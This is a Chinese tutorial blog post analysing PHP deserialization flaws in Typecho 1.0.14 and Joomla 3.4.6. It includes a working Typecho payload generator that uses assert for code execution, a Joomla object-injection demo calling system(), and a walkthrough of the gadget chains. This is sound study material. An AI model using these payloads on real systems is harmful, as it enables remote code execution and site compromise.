腾讯网友春天之虎 發表於 2020-11-15 16:54:00

4. php反序列化从入门到放弃(放弃篇)

<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201019192357211-1759871099.png" alt="" width="562" height="316" loading="lazy"></p>
<p>上篇《php反序列化从入门到放弃(入门篇)》主要总结了PHP的反序列化的一些知识,本篇主要通过cms实例来更好的理解并且挖掘反序列化漏洞。</p>
<p>以下cms的源码地址:https://github.com/bmjoker/Code-audit/</p>
<h1>Typecho1.0.14反序列化导致任意代码执行</h1>
<p>Typecho是一个PHP版本的轻量版博客系统,存在反序列化导致前台getshell的漏洞,通过分析这个漏洞来深入理解PHP反序列化漏洞。</p>
<p>漏洞的触发点是install.php中的反序列化方法<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201021230652348-1733420933.png" alt="" width="577" height="125" loading="lazy"></p>
<p>先来看一下访问到<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>反序列化方法的前置条件</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022000108184-1267568866.png" alt="" width="635" height="257" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">$SERVER['HTTP_REFERER']</span>需要与<span style="background-color: rgba(255, 255, 153, 1)">$_SERVER['HTTP_HOST']</span>的值相等,意思是请求包中的字段&nbsp;<span style="background-color: rgba(255, 255, 153, 1)">host==referer['host']</span>。</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022001027155-673892498.png" alt="" width="644" height="286" loading="lazy"></p>
<p>这几个is..else的意思是如果想要执行的漏洞代码,需要满足:</p>
<p>  1. 通过GET请求接收到的<span style="background-color: rgba(255, 255, 153, 1)">finish</span>参数不为空;</p>
<p>  2. 存在 <span style="background-color: rgba(255, 255, 153, 1)">__TYPECHO_ROOT_DIR__/config.inc.php</span>文件;</p>
<p>  3. cookie中或者POST方法传进来的参数中存在<span style="background-color: rgba(255, 255, 153, 1)">__typecho_config</span>字段的值。</p>
<p>具体分析一下漏洞代码</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201021230652348-1733420933.png" alt="" width="577" height="125" loading="lazy"></p>
<p>跟进查看Typecho_Cookie这个类的get方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201021231905415-1902932185.png" alt="" width="635" height="219" loading="lazy"></p>
<p>将Cookie中的<span style="background-color: rgba(255, 255, 153, 1)">__typecho_config</span>或者POST传过来的<span style="background-color: rgba(255, 255, 153, 1)">__typecho_config</span>的值取出来,使用base64解密,然后通过unserialize进行反序列化,并将反序列化之后的结果赋予变量<span style="background-color: rgba(255, 255, 153, 1)">$config</span>。</p>
<blockquote>
<p>漏洞的触发点就在于这个<span style="background-color: rgba(255, 255, 153, 1)">unserialize()</span>方法,如果存在可以利用的漏洞利用点,像file_put_contents,exec...,就可以在<span style="background-color: rgba(255, 255, 153, 1)">__typecho_config</span>中</p>
<p>&nbsp;</p>
<p>构造特定的序列化payload数据来实现漏洞的利用,比如任意代码执行等。</p>
</blockquote>
<p>继续往下看,发现实例化一个<span style="background-color: rgba(255, 255, 153, 1)">Typecho_Db</span>类的对象,并把<span style="background-color: rgba(255, 255, 153, 1)">$config['adapter']</span>和<span style="background-color: rgba(255, 255, 153, 1)">$config['prefix']</span>传入<span style="background-color: rgba(255, 255, 153, 1)">Typecho_Db</span>类中进行实例化,然后调用<span style="background-color: rgba(255, 255, 153, 1)">Typecho_Db</span>的<span style="background-color: rgba(255, 255, 153, 1)">addServer</span>方法对<span style="background-color: rgba(255, 255, 153, 1)">$config</span>进行处理,跟进一下<span style="background-color: rgba(255, 255, 153, 1)">Typecho_Db</span>类:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022223604060-1979352590.png" alt="" width="533" height="285" loading="lazy"></p>
<p>这里看到:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;_adapterName =<span style="color: rgba(0, 0, 0, 1)"> $adapterName;<br>
</span><span style="color: rgba(0, 0, 0, 1)">$adapterName </span>= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Typecho_Db_Adapter_</span><span style="color: rgba(128, 0, 0, 1)">'</span> . $adapterName;</span></pre>
</div>
<p>在入门篇都有提过魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>的几种触发方式。像上面的代码,如果<span style="background-color: rgba(255, 255, 153, 1)">$adapterName</span>是一个实例化对象,在进行了字符串的拼接的时候就会触发该类的<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>魔术方法。</p>
<p>全局搜索一下魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022223714553-1890931533.png" alt="" width="252" height="219" loading="lazy"></p>
<p>这里发现Config.php,Feed.php,Query.php三个文件都包含<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法。现在的目的是依次去分析三个php文件中的<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法,寻找漏洞的利用点,构造相应的反序列化链。</p>
<h3><span style="color: rgba(51, 204, 204, 1)">Config.php&nbsp; --&gt;&nbsp; __toString()</span></h3>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022223753711-253336541.png" alt="" width="344" height="168" loading="lazy"></p>
<p>这里调用<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>做了序列化???没什么利用点,pass。</p>
<h3>Query.php&nbsp; --&gt;&nbsp; __toString()</h3>
<p>在492行看到如下代码</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022223856590-1970241240.png" alt="" width="510" height="151" loading="lazy"></p>
<p>如果<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;_adapter</span>是一个不存在<span style="background-color: rgba(255, 255, 153, 1)">parseSelect</span>方法的类的对象的时候,那么调用<span style="background-color: rgba(255, 255, 153, 1)">parseSelect</span>方法就是访问一个不可访问的方法,就会触发该类的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>。全局搜一下魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__call()</span>,最后发现Plugin.php有以下代码:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022224019242-2119498414.png" alt="" width="515" height="288" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">$component</span>是调用失败的方法名,<span style="background-color: rgba(255, 255, 153, 1)">$args</span>是调用时的参数。均可控,但是根据上文,$args必须存在<span style="background-color: rgba(255, 255, 153, 1)">array('action'=&gt;'SELECT')</span>,然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么<span style="background-color: rgba(255, 255, 153, 1)">call_user_func_array()</span>便无法正常执行。所以此路就不通了</p>
<h3><span style="color: rgba(51, 204, 204, 1)">Feed.php&nbsp; --&gt;&nbsp; __toString()</span></h3>
<p>在290行看到如下代码</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022224205453-503965906.png" alt="" width="709" height="302" loading="lazy"></p>
<p>这里的<span style="background-color: rgba(255, 255, 153, 1)">$item</span>由foreach()循环得来,使用<span style="background-color: rgba(255, 255, 153, 1)">$item['author'-&gt;screenName]</span>获取<span style="background-color: rgba(255, 255, 255, 1)">author</span>对应的<span style="background-color: rgba(255, 255, 255, 1)">screenName</span>属性,这里就存在一个序列化链的构造点,如果<span style="background-color: rgba(255, 255, 153, 1)">$item['author']</span>是一个不存在<span style="background-color: rgba(255, 255, 153, 1)">screenName</span>属性的类的对象的时候,那么访问screenName就是访问一个不存在的属性,就会触发该类的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>。全局搜一下魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>,查找利用点:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022224250937-1162983984.png" alt="" width="276" height="382" loading="lazy"></p>
<p>这里不再一个一个分析了,最后在<span style="background-color: rgba(255, 255, 153, 1)">Request.php<span style="background-color: rgba(255, 255, 255, 1)">中</span></span>找到了利用链:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022224331518-1471858665.png" alt="" width="278" height="157" loading="lazy"></p>
<p>跟进get方法</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022224434521-119464924.png" alt="" width="497" height="283" loading="lazy"></p>
<p>$value是<span style="background-color: rgba(255, 255, 153, 1)">\$this-&gt;_params[\$key]</span>的值,$key就是screenName,是可以控制的输入值,继续跟进<span style="background-color: rgba(255, 255, 153, 1)">_applyFilter</span>方法:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201022224520414-675029123.png" alt="" width="498" height="240" loading="lazy"></p>
<p>参数<span style="background-color: rgba(255, 255, 153, 1)">$filter</span>和<span style="background-color: rgba(255, 255, 153, 1)">$value</span>都可控,并且<span style="background-color: rgba(255, 255, 153, 1)">call_user_func()</span>和<span style="background-color: rgba(255, 255, 153, 1)">array_map()</span>方法都可通过回调函数实现任意代码执行。</p>
<p>最终的调用链如下:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">call_user_func &lt;-- Typecho_Request::_applyFilter &lt;-- Typecho_Request::<span style="color: rgba(0, 0, 255, 1)">get</span> &lt;-- Typecho_Request::__get &lt;--Typecho_Feed::__toString &lt;-- Typecho_Db::__construct</span></pre>
</div>
<p>构造序列化payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Typecho_Feed{
    </span><span style="color: rgba(0, 0, 255, 1)">private</span> $_items=<span style="color: rgba(0, 0, 0, 1)">array();
    </span><span style="color: rgba(0, 0, 255, 1)">private</span> $_type=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">RSS 2.0</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
       $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;_items[<span style="color: rgba(128, 0, 128, 1)">0</span>]=<span style="color: rgba(0, 0, 0, 1)">array(
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">category</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; array(<span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Typecho_Request()),
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">author</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Typecho_Request()   
            );
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Typecho_Request{
    </span><span style="color: rgba(0, 0, 255, 1)">private</span> $_filter =<span style="color: rgba(0, 0, 0, 1)"> array();
    </span><span style="color: rgba(0, 0, 255, 1)">private</span> $_params =<span style="color: rgba(0, 0, 0, 1)"> array();
    function __construct(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;_params[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">screenName</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">phpinfo();</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;_filter[<span style="color: rgba(128, 0, 128, 1)">0</span>] = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">assert</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
$exp </span>=<span style="color: rgba(0, 0, 0, 1)"> array(
    </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">adapter</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Typecho_Feed(),
    </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">prefix</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">typecho_</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
);
print_r(base64_encode(serialize($exp)));
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201023104338383-310848769.png" alt="" width="932" height="277" loading="lazy"></p>
<p>成功复现。</p>
<p>来看一下官方的补丁:</p>
<p>https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084f</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201023235648686-1297667631.png" alt="" width="564" height="36" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201023235820990-1782533697.png" alt="" width="689" height="107" loading="lazy"></p>
<p>更换判断是否安装的方法,删除反序列化代码。</p>
<h1>Joomla3.4.6反序列化导致任意代码执行</h1>
<p>Joomla反序列化漏洞的主要原因是:</p>
<blockquote>
<p>Joomla不论账号密码是否正确,都会把登录的用户名和密码,通过序列化的方式存储在<span style="background-color: rgba(255, 255, 153, 1)">session</span>表中,再以反序列化的方式读取<span style="background-color: rgba(255, 255, 153, 1)">session</span>表中的内容。由于protected修饰的变量在序列化的时候,会变成<span style="background-color: rgba(255, 255, 153, 1)">\x00 + * + \x00 + [变量名]</span>的形式,而mysql无法保存<span style="background-color: rgba(255, 255, 153, 1)">NULL</span>字节的数据,所以在向session表写入的过程中会将 <span style="background-color: rgba(255, 255, 153, 1)">\x00*\x00</span>替换为<span style="background-color: rgba(255, 255, 153, 1)">\0\0\0</span> ,同样在读取<span style="background-color: rgba(255, 255, 153, 1)">session</span>表中的内容的时候会再次转换,然后进行反序列化。如果在向session表存储的过程中构造恶意构造一些<span style="background-color: rgba(255, 255, 153, 1)">\0\0\0</span>,那么在进行反序列化的时候就会由于字节数对不上,导致 "<span style="background-color: rgba(255, 255, 153, 1)">溢出</span>" ,使得反序列化对象逃逸出来。</p>
</blockquote>
<p>本地搭建环境,尝试使用错误的账号密码登录,查看一下session表中的内容:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201028001846145-1227489260.png" alt="" width="602" height="273" loading="lazy"></p>
<p>在登录过程中,会有一个<span style="background-color: rgba(255, 255, 153, 1)">303</span>的跳转,这个跳转是先把用户的输入经过序列化存储在session表中,读取的时候再从session表中取出数据进行反序列化,进行账号密码对比</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201028003123997-608621154.png" alt="" width="744" height="294" loading="lazy"></p>
<p>通过序列化写入session表的具体代码如下:</p>
<p><span style="color: rgba(0, 204, 255, 1)">Joomla/libraries/joomla/session/storage/database.php&nbsp; ——&gt;&nbsp; write()</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201028225321914-653179029.png" alt="" width="497" height="378" loading="lazy"></p>
<p>因为<span style="background-color: rgba(255, 255, 153, 1)">protected</span>修饰的变量在序列化后会变成这种形式:<span style="background-color: rgba(255, 255, 153, 1)">\x00 + * + \x00 + [变量名]</span>,而mysql无法保存<span style="background-color: rgba(255, 255, 153, 1)">NULL</span>字节的数据,所以在代码中可以看到在写入session表的过程中会将<span style="background-color: rgba(255, 255, 153, 1)">\x00*\x00</span>替换为<span style="background-color: rgba(255, 255, 153, 1)">\0\0\0</span>来进行存储,就比如Registry类下<span style="background-color: rgba(255, 255, 153, 1)">protected</span>修饰的<span style="background-color: rgba(255, 255, 153, 1)">$data</span>变量,序列化存储为:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201028231208408-1317263109.png" alt="" width="365" height="263" loading="lazy"></p>
<p>通过反序列化读取session表的具体代码如下:</p>
<p><span style="color: rgba(0, 204, 255, 1)">Joomla/libraries/joomla/session/storage/database.php&nbsp; ——&gt;&nbsp; read()</span></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201028225519116-1363963610.png" alt="" width="497" height="388" loading="lazy"></p>
<p>在读取时会重新把<span style="background-color: rgba(255, 255, 153, 1)">\0\0\0</span>替换为<span style="background-color: rgba(255, 255, 153, 1)">\x00*\x00</span>来进行反序列化。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">漏洞的关键点在于反序列化存入session表中的数据比原始数据要多3个字节</span>,如下图所示:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201028234520405-991807009.png" alt="" width="511" height="213" loading="lazy"></p>
<p>如果传入的用户名为<span style="background-color: rgba(255, 255, 153, 1)">\0\0\0admin</span>,序列化写入session表中的数据为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">11</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0admin</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">password</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">6</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">123456</span><span style="color: rgba(128, 0, 0, 1)">"</span>;</span></pre>
</div>
<p>在调用read方法进行读取时会先将<span style="background-color: rgba(255, 255, 153, 1)">\0\0\0</span>转换为<span style="background-color: rgba(255, 255, 153, 1)">N*N</span>(<span style="background-color: rgba(255, 255, 153, 1)">\x00</span>为空字节为方便展示这里使用<span style="background-color: rgba(255, 255, 153, 1)">N</span>代替):</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">11</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">N*Nadmin</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">password</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">6</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">123456</span><span style="color: rgba(128, 0, 0, 1)">"</span>;</span></pre>
</div>
<p>因为read之后长度变短了<span style="background-color: rgba(255, 255, 153, 1)">3</span>个字节,在反序列化的时候username的值为<span style="background-color: rgba(255, 255, 153, 1)">s:11:"N*Nadmin"</span>,但是实际只有<span style="background-color: rgba(255, 255, 153, 1)">8</span>个字节,为了满足反序列化的规则,就会吃掉后面<span style="background-color: rgba(255, 255, 153, 1)">3</span>个字节的数据,直至凑齐11个字符,也就是<span style="background-color: rgba(255, 255, 153, 1)">s:11:"N*Nadmin";s</span>。</p>
<p>利用这个思路,足够多的<span style="background-color: rgba(255, 255, 153, 1)">\0\0\0</span>就可以将<span style="background-color: rgba(255, 255, 153, 1)">password</span>字段的数据逃逸出来,构造如下:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">s:<span style="color: rgba(128, 0, 128, 1)">8</span>:s:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">54</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">password</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">6</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">123456</span><span style="color: rgba(128, 0, 0, 1)">"</span></span></pre>
</div>
<p>read()之后:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">s:<span style="color: rgba(128, 0, 128, 1)">8</span>:s:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">54</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">N*NN*NN*NN*NN*NN*NN*NN*NN*N</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">password</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">6</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">12345</span><span style="color: rgba(128, 0, 0, 1)"><br></span></span></pre>
</div>
<p>username的值为<span style="background-color: rgba(255, 255, 153, 1)">N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345</span>,后面补上<span style="background-color: rgba(255, 255, 153, 1)">"</span>和<span style="background-color: rgba(255, 255, 153, 1)">;</span>就成功逃逸出来了</p>
<p>实现对象注入:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">s:<span style="color: rgba(128, 0, 128, 1)">8</span>:s:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">54</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">N*NN*NN*NN*NN*NN*NN*NN*NN*N</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">password</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">6</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">12345</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">2</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">HS</span><span style="color: rgba(128, 0, 0, 1)">"</span>:O:<span style="color: rgba(128, 0, 128, 1)">15</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">ObjectInjection</span><span style="color: rgba(128, 0, 0, 1)">"</span></span></pre>
</div>
<p>写个小demo方便理解:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> User {
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $username;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $password;

    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct($username, $password) {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;username =<span style="color: rgba(0, 0, 0, 1)"> $username;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;password =<span style="color: rgba(0, 0, 0, 1)"> $password;
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> danger{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $cmd;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;cmd =<span style="color: rgba(0, 0, 0, 1)"> $cmd;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __destruct(){
      system($</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">cmd);
    }
}
$username </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$password </span>= <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">1234</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$payload </span>= <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">";s:8:"password";O:6:"danger":1:{s:3:"cmd";s:4:"calc";}</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
$password </span>=<span style="color: rgba(0, 0, 0, 1)"> $password.$payload;
$</span><span style="color: rgba(0, 0, 255, 1)">object</span> = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> User($username,$password);
$ser </span>= serialize($<span style="color: rgba(0, 0, 255, 1)">object</span><span style="color: rgba(0, 0, 0, 1)">);
$data </span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">N*N</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">, $ser);
var_dump($data);
echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$result </span>= str_replace(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">\0\0\0</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">N*N</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">, $ser);
var_dump($result);
echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
$unser </span>=<span style="color: rgba(0, 0, 0, 1)"> unserialize($result);
var_dump($unser);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031150232380-327834066.png" alt="" width="1102" height="287" loading="lazy"></p>
<p>下面尝试去构造反序列化链来利用。</p>
<p>早在Joomla1.5~3.4的时候就曾爆出过session反序列化攻击,具体可以参照P牛的文章:</p>
<p>《Joomla远程代码执行漏洞分析》</p>
<p>《Joomla 1.5~3.4 session对象注入漏洞》</p>
<p>这里来分析一下利用链,通过搜索<span style="background-color: rgba(255, 255, 153, 1)">eval/assert/call_user_func</span>...这类可以利用并且<span style="background-color: rgba(255, 255, 153, 1)">参数可控</span>的危险函数,可以找到用于构造执行链的类:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201031162150763-1282314006.png" alt="" width="390" height="362" loading="lazy"></p>
<p>这几个文件调取<span style="background-color: rgba(255, 255, 153, 1)">call_user_func</span>的方式都相同,来看一下<span style="background-color: rgba(255, 255, 153, 1)">libraries\joomla\database\driver\mysqli.php</span>中方法的具体实现</p>
